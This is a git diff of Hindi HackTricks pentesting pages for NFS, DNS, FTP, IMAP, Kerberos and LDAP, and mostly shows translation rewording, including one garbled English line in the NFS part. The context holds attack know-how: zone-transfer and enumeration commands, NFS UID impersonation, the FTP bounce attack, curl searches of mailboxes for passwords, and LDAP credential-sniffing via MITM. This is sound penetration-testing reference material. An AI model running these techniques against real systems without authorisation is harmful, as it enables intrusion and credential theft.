diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index 01bad2356..00d5f92bf 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -4,7 +4,7 @@
## **बुनियादी जानकारी**
-**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक बिना किसी रुकावट के पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
+**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक सहजता से पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
इस प्रोटोकॉल का एक महत्वपूर्ण पहलू इसकी अंतर्निहित **प्रमाणीकरण** या **अधिकार प्रबंधन तंत्र** की कमी है। इसके बजाय, अधिकार **फ़ाइल सिस्टम जानकारी** पर निर्भर करता है, जिसमें सर्वर को **क्लाइंट द्वारा प्रदान की गई उपयोगकर्ता जानकारी** को फ़ाइल सिस्टम के आवश्यक **अधिकार प्रारूप** में सटीक रूप से अनुवादित करने का कार्य सौंपा गया है, जो मुख्य रूप से **UNIX सिंटैक्स** का पालन करता है।
@@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
-आप यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर पर **उपलब्ध** है, आप इसे पूछ सकते हैं:
+To know **which folder** has the server **available** to mount you an ask it using:
```bash
showmount -e
```
@@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Permissions
-यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर हैं जो केवल कुछ उपयोगकर्ता द्वारा एक्सेस किए जा सकते हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता बना सकते हैं और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर को **एक्सेस** कर सकेंगे।
+यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर केवल कुछ उपयोगकर्ता द्वारा पहुँच योग्य हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता **बना सकते हैं** और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर **एक्सेस** कर सकेंगे।
## NSFShell
diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md
index 8bdc75991..9a5c8fe22 100644
--- a/src/network-services-pentesting/pentesting-dns.md
+++ b/src/network-services-pentesting/pentesting-dns.md
@@ -3,9 +3,9 @@
{{#include ../banners/hacktricks-training.md}}
-## **बुनियादी जानकारी**
+## **मूल जानकारी**
-**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पतों का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र तेजी से इंटरनेट संसाधनों को लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
+**डोमेन नाम प्रणाली (DNS)** इंटरनेट की निर्देशिका के रूप में कार्य करती है, जिससे उपयोगकर्ता **याद रखने में आसान डोमेन नामों** जैसे google.com या facebook.com के माध्यम से वेबसाइटों तक पहुँच सकते हैं, बजाय इसके कि वे संख्यात्मक इंटरनेट प्रोटोकॉल (IP) पते का उपयोग करें। डोमेन नामों को IP पतों में अनुवाद करके, DNS सुनिश्चित करता है कि वेब ब्राउज़र इंटरनेट संसाधनों को तेजी से लोड कर सकें, जिससे हम ऑनलाइन दुनिया में नेविगेट करना सरल हो जाता है।
**डिफ़ॉल्ट पोर्ट:** 53
```
@@ -18,12 +18,12 @@ PORT STATE SERVICE REASON
- **DNS रूट सर्वर**: ये DNS पदानुक्रम के शीर्ष पर होते हैं, शीर्ष-स्तरीय डोमेन का प्रबंधन करते हैं और केवल तब हस्तक्षेप करते हैं जब निम्न-स्तरीय सर्वर प्रतिक्रिया नहीं देते। इंटरनेट कॉर्पोरेशन फॉर असाइनड नेम्स एंड नंबर (**ICANN**) उनके संचालन की देखरेख करता है, जिनकी वैश्विक संख्या 13 है।
- **अधिकार प्राप्त नाम सर्वर**: ये सर्वर अपने निर्दिष्ट क्षेत्रों में प्रश्नों के लिए अंतिम निर्णय लेते हैं, निश्चित उत्तर प्रदान करते हैं। यदि वे उत्तर प्रदान नहीं कर सकते, तो प्रश्न को रूट सर्वरों पर बढ़ा दिया जाता है।
-- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों से प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
-- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निश्चित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
-- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर बस प्रश्नों को दूसरे सर्वर पर भेजते हैं।
+- **गैर-अधिकार प्राप्त नाम सर्वर**: DNS क्षेत्रों पर स्वामित्व की कमी के कारण, ये सर्वर अन्य सर्वरों के लिए प्रश्नों के माध्यम से डोमेन जानकारी एकत्र करते हैं।
+- **कैशिंग DNS सर्वर**: इस प्रकार का सर्वर पिछले प्रश्नों के उत्तरों को एक निर्धारित समय के लिए याद रखता है ताकि भविष्य के अनुरोधों के लिए प्रतिक्रिया समय को तेज किया जा सके, जिसमें कैश अवधि अधिकार प्राप्त सर्वर द्वारा निर्धारित की जाती है।
+- **फॉरवर्डिंग सर्वर**: एक सीधा कार्य करते हुए, फॉरवर्डिंग सर्वर केवल प्रश्नों को दूसरे सर्वर पर भेजते हैं।
- **रिज़ॉल्वर**: कंप्यूटर या राउटर में एकीकृत, रिज़ॉल्वर स्थानीय रूप से नाम समाधान करते हैं और इन्हें अधिकार प्राप्त नहीं माना जाता है।
-## एन्यूमरेशन
+## गणना
### **बैनर ग्रैबिंग**
@@ -40,13 +40,13 @@ dig version.bind CHAOS TXT @DNS
```
### **कोई रिकॉर्ड**
-रिकॉर्ड **ANY** DNS सर्वर से **वापस** सभी उपलब्ध **प्रविष्टियों** को **लौटाने** के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**।
+रिकॉर्ड **ANY** DNS सर्वर से **सभी उपलब्ध** **एंट्रीज़** **वापस** करने के लिए कहेगा जो **वह प्रकट करने के लिए तैयार है**।
```bash
dig any victim.com @
```
### **Zone Transfer**
-यह प्रक्रिया को `Asynchronous Full Transfer Zone` (`AXFR`) के रूप में संक्षिप्त किया गया है।
+यह प्रक्रिया को संक्षिप्त रूप में `Asynchronous Full Transfer Zone` (`AXFR`) कहा जाता है।
```bash
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
@@ -82,7 +82,7 @@ nslookup
```bash
auxiliary/gather/enum_dns #Perform enumeration actions
```
-### उपयोगी nmap स्क्रिप्ट
+### उपयोगी nmap स्क्रिप्ट्स
```bash
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport"
@@ -95,11 +95,11 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
> [!NOTE]
-> यदि आप आंतरिक IP-पते पर हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
+> यदि आप आंतरिक IP-पते को हल करने वाले उपडोमेन खोजने में सक्षम हैं, तो आपको उस IP रेंज के लिए NSs से एक रिवर्स DNS BF करने का प्रयास करना चाहिए।
इसे करने के लिए एक और उपकरण: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
-आप रिवर्स IP रेंज को क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
+आप रिवर्स IP रेंज के लिए क्वेरी कर सकते हैं [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (यह उपकरण BGP के साथ भी सहायक है)।
### DNS - उपडोमेन BF
```bash
@@ -130,14 +130,14 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```bash
dnsdict6 -s -t
```
-IPv6 पते का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स
+IPv6 पते का उपयोग करके रिवर्स DNS पर ब्रूटफोर्स करें
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS पुनरावृत्ति DDoS
यदि **DNS पुनरावृत्ति सक्षम** है, तो एक हमलावर **UDP पैकेट में मूल** को **स्पूफ** कर सकता है ताकि **DNS प्रतिक्रिया को पीड़ित सर्वर** पर भेज सके। एक हमलावर **ANY** या **DNSSEC** रिकॉर्ड प्रकारों का दुरुपयोग कर सकता है क्योंकि उनके पास बड़े उत्तर होते हैं।\
-यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" फ्लैग** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
+यह **जांचने** का तरीका कि क्या एक DNS **पुनरावृत्ति** का समर्थन करता है, एक डोमेन नाम को क्वेरी करना और **जांचना** है कि क्या **"ra" ध्वज** (_पुनरावृत्ति उपलब्ध_) प्रतिक्रिया में है:
```bash
dig google.com A @
```
@@ -152,11 +152,11 @@ dig google.com A @
### Mail to nonexistent account
-**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक गैर-डिलीवरी सूचना (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
+**एक गैर-मौजूद पते पर ईमेल भेजना** पीड़ित के डोमेन का उपयोग करके पीड़ित को एक नॉनडिलीवरी नोटिफिकेशन (NDN) संदेश भेजने के लिए प्रेरित कर सकता है, जिसके **हेडर** में **आंतरिक सर्वरों के नाम और IP पते** जैसी दिलचस्प जानकारी हो सकती है।
## Post-Exploitation
-- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह दर्शाता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह दर्शाता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
+- जब Bind सर्वर की कॉन्फ़िगरेशन की जांच करें, तो **`allow-transfer`** पैरामीटर की कॉन्फ़िगरेशन की जांच करें क्योंकि यह बताता है कि ज़ोन ट्रांसफर कौन कर सकता है और **`allow-recursion`** और **`allow-query`** की जांच करें क्योंकि यह बताता है कि कौन पुनरावर्ती अनुरोध और अनुरोध भेज सकता है।
- निम्नलिखित DNS से संबंधित फ़ाइलों के नाम हैं जो मशीनों के अंदर खोजने के लिए दिलचस्प हो सकते हैं:
```
host.conf
@@ -167,12 +167,12 @@ host.conf
/etc/bind/named.conf.log
/etc/bind/*
```
-## संदर्भ
+## References
- [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
-- पुस्तक: **नेटवर्क सुरक्षा मूल्यांकन 3रा संस्करण**
+- पुस्तक: **Network Security Assessment 3rd edition**
-## HackTricks स्वचालित आदेश
+## HackTricks Automatic Commands
```
Protocol_Name: DNS #Protocol Abbreviation if there is one.
Port_Number: 53 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md
index 418613784..2092990d6 100644
--- a/src/network-services-pentesting/pentesting-ftp/README.md
+++ b/src/network-services-pentesting/pentesting-ftp/README.md
@@ -33,7 +33,7 @@ The **FTP** commands **`debug`** and **`trace`** can be used to see **how is the
nc -vn 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
-### FTP से starttls का उपयोग करके कनेक्ट करें
+### STARTTLS का उपयोग करके FTP से कनेक्ट करें
```
lftp
lftp :~> set ftp:ssl-force true
@@ -130,29 +130,29 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`USER username`**
- **`PASS password`**
-- **`HELP`** सर्वर यह संकेत करता है कि कौन से कमांड समर्थित हैं
-- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां पोर्ट दशमलव में डालना होगा या 5वें और 6वें का उपयोग करके पोर्ट को हेक्स में व्यक्त करना होगा_)।
-- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ एक TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**।
+- **`HELP`** सर्वर यह बताता है कि कौन से कमांड समर्थित हैं
+- **`PORT 127,0,0,1,0,80`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ कनेक्शन स्थापित करने के लिए संकेत देगा (_आपको 5वां अक्षर "0" और 6वां दशमलव में पोर्ट के रूप में रखना होगा या पोर्ट को हेक्स में व्यक्त करने के लिए 5वां और 6वां उपयोग करना होगा_)।
+- **`EPRT |2|127.0.0.1|80|`** यह FTP सर्वर को IP 127.0.0.1 पर पोर्ट 80 के साथ TCP कनेक्शन स्थापित करने के लिए संकेत देगा (_"2" द्वारा संकेतित_)। यह कमांड **IPv6 का समर्थन करता है**।
- **`LIST`** यह वर्तमान फ़ोल्डर में फ़ाइलों की सूची भेजेगा
- **`LIST -R`** पुनरावृत्त सूची (यदि सर्वर द्वारा अनुमति दी गई हो)
- **`APPE /path/something.txt`** यह FTP को **पैसिव** कनेक्शन या **PORT/EPRT** कनेक्शन से प्राप्त डेटा को एक फ़ाइल में संग्रहीत करने के लिए संकेत देगा। यदि फ़ाइल का नाम मौजूद है, तो यह डेटा को जोड़ देगा।
- **`STOR /path/something.txt`** `APPE` की तरह लेकिन यह फ़ाइलों को अधिलेखित करेगा
- **`STOU /path/something.txt`** `APPE` की तरह, लेकिन यदि मौजूद है तो यह कुछ नहीं करेगा।
- **`RETR /path/to/file`** एक पैसिव या पोर्ट कनेक्शन स्थापित करना आवश्यक है। फिर, FTP सर्वर उस कनेक्शन के माध्यम से निर्दिष्ट फ़ाइल भेजेगा
-- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करके, तो उसे 6वें बाइट से शुरू करना चाहिए।
+- **`REST 6`** यह सर्वर को संकेत देगा कि अगली बार जब वह कुछ भेजेगा `RETR` का उपयोग करते हुए, तो उसे 6वें बाइट से शुरू करना चाहिए।
- **`TYPE i`** ट्रांसफर को बाइनरी पर सेट करें
-- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को संकेत देगा कि वह कहाँ कनेक्ट कर सकता है
+- **`PASV`** यह एक पैसिव कनेक्शन खोलेगा और उपयोगकर्ता को बताएगा कि वह कहाँ कनेक्ट कर सकता है
- **`PUT /tmp/file.txt`** निर्दिष्ट फ़ाइल को FTP पर अपलोड करें
.png>)
## FTPBounce हमला
-कुछ FTP सर्वर PORT कमांड की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
+कुछ FTP सर्वर कमांड PORT की अनुमति देते हैं। इस कमांड का उपयोग सर्वर को यह संकेत देने के लिए किया जा सकता है कि आप किसी अन्य FTP सर्वर से किसी पोर्ट पर कनेक्ट करना चाहते हैं। फिर, आप इसका उपयोग यह स्कैन करने के लिए कर सकते हैं कि किसी होस्ट के कौन से पोर्ट खुले हैं FTP सर्वर के माध्यम से।
[**यहाँ जानें कि FTP सर्वर का दुरुपयोग करके पोर्ट कैसे स्कैन करें।**](ftp-bounce-attack.md)
-आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए एक फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
+आप इस व्यवहार का दुरुपयोग करके FTP सर्वर को अन्य प्रोटोकॉल के साथ इंटरैक्ट करवा सकते हैं। आप **HTTP अनुरोध** वाला एक फ़ाइल अपलोड कर सकते हैं और कमजोर FTP सर्वर को **इसे किसी मनमाने HTTP सर्वर पर भेजने** के लिए मजबूर कर सकते हैं (_शायद एक नया व्यवस्थापक उपयोगकर्ता जोड़ने के लिए?_) या यहां तक कि एक FTP अनुरोध अपलोड कर सकते हैं और कमजोर FTP सर्वर को किसी अन्य FTP सर्वर के लिए फ़ाइल डाउनलोड करने के लिए मजबूर कर सकते हैं।\
सिद्धांत आसान है:
1. **कमजोर सर्वर पर अनुरोध (एक टेक्स्ट फ़ाइल के अंदर) अपलोड करें।** याद रखें कि यदि आप किसी अन्य HTTP या FTP सर्वर से बात करना चाहते हैं तो आपको `0x0d 0x0a` के साथ पंक्तियों को बदलना होगा
@@ -193,9 +193,9 @@ vsFTPd की डिफ़ॉल्ट कॉन्फ़िगरेशन `/et
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - गुमनाम के लिए निर्देशिका।
- `chown_uploads=YES` - गुमनाम रूप से अपलोड की गई फ़ाइलों के स्वामित्व को बदलें
-- `chown_username=username` - उपयोगकर्ता जिसे गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व दिया गया है
+- `chown_username=username` - गुमनाम रूप से अपलोड की गई फ़ाइलों का स्वामित्व प्राप्त करने वाला उपयोगकर्ता
- `local_enable=YES` - स्थानीय उपयोगकर्ताओं को लॉगिन करने की अनुमति दें
-- `no_anon_password=YES` - गुमनाम से पासवर्ड के लिए न पूछें
+- `no_anon_password=YES` - गुमनाम से पासवर्ड नहीं पूछें
- `write_enable=YES` - कमांड की अनुमति दें: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, और SITE
### Shodan
diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md
index 30779c1f2..d9db5eecd 100644
--- a/src/network-services-pentesting/pentesting-imap.md
+++ b/src/network-services-pentesting/pentesting-imap.md
@@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
-## इंटरनेट संदेश पहुंच प्रोटोकॉल
+## Internet Message Access Protocol
-**इंटरनेट संदेश पहुंच प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुंचने** में सक्षम बनाना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत उपकरण पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल की जांच करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
+**इंटरनेट मैसेज एक्सेस प्रोटोकॉल (IMAP)** का उद्देश्य उपयोगकर्ताओं को **किसी भी स्थान से अपने ईमेल संदेशों तक पहुँचने** में सक्षम बनाना है, मुख्य रूप से इंटरनेट कनेक्शन के माध्यम से। वास्तव में, ईमेल **एक सर्वर पर बनाए रखे जाते हैं** बजाय इसके कि उन्हें डाउनलोड किया जाए और किसी व्यक्ति के व्यक्तिगत डिवाइस पर संग्रहीत किया जाए। इसका मतलब है कि जब किसी ईमेल को एक्सेस या पढ़ा जाता है, तो यह **सर्वर से सीधे** किया जाता है। यह क्षमता **कई उपकरणों** से ईमेल चेक करने की सुविधा प्रदान करती है, यह सुनिश्चित करते हुए कि किसी भी उपकरण का उपयोग करने पर कोई संदेश छूट न जाए।
डिफ़ॉल्ट रूप से, IMAP प्रोटोकॉल दो पोर्ट पर काम करता है:
@@ -101,7 +101,7 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
-इस खोज का परिणाम संदेश अनुक्रमांक की एक सूची है।
+इस खोज का परिणाम संदेश अनुक्रमों की एक सूची है।
यह अधिक जटिल खोज शर्तें प्रदान करना भी संभव है। उदाहरण के लिए, मेल बॉडी में पासवर्ड के साथ ड्राफ्ट के लिए खोज करना:
```bash
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index f5c0e4067..df52f511d 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -8,7 +8,7 @@
**Active Directory** जैसे वातावरण में, **Kerberos** उपयोगकर्ताओं की पहचान स्थापित करने में महत्वपूर्ण है, उनके गुप्त पासवर्डों को मान्य करके। यह प्रक्रिया सुनिश्चित करती है कि प्रत्येक उपयोगकर्ता की पहचान की पुष्टि की जाती है इससे पहले कि वे नेटवर्क संसाधनों के साथ बातचीत करें। हालाँकि, **Kerberos** अपनी कार्यक्षमता को विशिष्ट संसाधनों या सेवाओं पर उपयोगकर्ता के पास अधिकारों का मूल्यांकन या प्रवर्तन करने तक नहीं बढ़ाता। इसके बजाय, यह उपयोगकर्ताओं को प्रमाणित करने का एक सुरक्षित तरीका प्रदान करता है, जो सुरक्षा प्रक्रिया में एक महत्वपूर्ण पहला कदम है।
-**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं का विभाजन करने की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
+**Kerberos** द्वारा प्रमाणीकरण के बाद, संसाधनों तक पहुँच के संबंध में निर्णय लेने की प्रक्रिया नेटवर्क के भीतर व्यक्तिगत सेवाओं को सौंप दी जाती है। ये सेवाएँ फिर प्रमाणित उपयोगकर्ता के अधिकारों और अनुमतियों का मूल्यांकन करने के लिए जिम्मेदार होती हैं, जो **Kerberos** द्वारा उपयोगकर्ता के विशेषाधिकारों के बारे में प्रदान की गई जानकारी के आधार पर होती हैं। यह डिज़ाइन उपयोगकर्ताओं की पहचान को प्रमाणित करने और उनके पहुँच अधिकारों का प्रबंधन करने के बीच चिंताओं के विभाजन की अनुमति देता है, जिससे वितरित नेटवर्क में संसाधन प्रबंधन के लिए एक अधिक लचीला और सुरक्षित दृष्टिकोण सक्षम होता है।
**Default Port:** 88/tcp/udp
```
diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md
index 0ac8a27ae..0614aa5b0 100644
--- a/src/network-services-pentesting/pentesting-ldap.md
+++ b/src/network-services-pentesting/pentesting-ldap.md
@@ -4,9 +4,9 @@
**LDAP** (लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल) का उपयोग मुख्य रूप से विभिन्न संस्थाओं जैसे संगठनों, व्यक्तियों और नेटवर्क के भीतर फ़ाइलों और उपकरणों जैसे संसाधनों को खोजने के लिए किया जाता है, चाहे वे सार्वजनिक हों या निजी। यह अपने पूर्ववर्ती, DAP की तुलना में एक सरल दृष्टिकोण प्रदान करता है, जिसमें कोड का आकार छोटा होता है।
-LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों में वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
+LDAP निर्देशिकाएँ इस तरह से संरचित होती हैं कि उन्हें कई सर्वरों के बीच वितरित किया जा सके, प्रत्येक सर्वर में निर्देशिका का एक **प्रतिलिपि** और **समन्वयित** संस्करण होता है, जिसे डायरेक्टरी सिस्टम एजेंट (DSA) कहा जाता है। अनुरोधों को संभालने की जिम्मेदारी पूरी तरह से LDAP सर्वर पर होती है, जो आवश्यकतानुसार अन्य DSAs के साथ संवाद कर सकता है ताकि अनुरोधकर्ता को एकीकृत प्रतिक्रिया प्रदान की जा सके।
-LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तियों के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
+LDAP निर्देशिका का संगठन एक **पेड़ की संरचना की तरह है, जो शीर्ष पर रूट निर्देशिका से शुरू होता है**। यह देशों में शाखा करता है, जो आगे संगठनों में विभाजित होते हैं, और फिर विभिन्न विभाजनों या विभागों का प्रतिनिधित्व करने वाले संगठनात्मक इकाइयों तक पहुँचता है, अंततः व्यक्तिगत संस्थाओं के स्तर तक पहुँचता है, जिसमें लोग और साझा संसाधन जैसे फ़ाइलें और प्रिंटर शामिल हैं।
**डिफ़ॉल्ट पोर्ट:** 389 और 636(ldaps)। ग्लोबल कैटलॉग (LDAP in ActiveDirectory) डिफ़ॉल्ट रूप से पोर्ट 3268 और 3269 पर LDAPS के लिए उपलब्ध है।
```
@@ -68,7 +68,7 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
यदि LDAP को SSL के बिना उपयोग किया जाता है, तो आप नेटवर्क में **स्पष्ट पाठ में क्रेडेंशियल्स को स्निफ़** कर सकते हैं।
-इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन करे।
+इसके अलावा, आप नेटवर्क में **LDAP सर्वर और क्लाइंट के बीच** एक **MITM** हमला कर सकते हैं। यहाँ आप एक **डाउनग्रेड अटैक** कर सकते हैं ताकि क्लाइंट **स्पष्ट पाठ में क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सके।
**यदि SSL का उपयोग किया जाता है**, तो आप ऊपर बताए गए अनुसार **MITM** करने की कोशिश कर सकते हैं लेकिन एक **झूठा प्रमाणपत्र** पेश करके, यदि **उपयोगकर्ता इसे स्वीकार करता है**, तो आप प्रमाणीकरण विधि को डाउनग्रेड करने में सक्षम होते हैं और फिर से क्रेडेंशियल्स देख सकते हैं।
@@ -87,7 +87,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
## मान्य क्रेडेंशियल्स
-यदि आपके पास LDAP सर्वर में लॉगिन करने के लिए मान्य क्रेडेंशियल्स हैं, तो आप निम्नलिखित का उपयोग करके डोमेन एडमिन के बारे में सभी जानकारी निकाल सकते हैं:
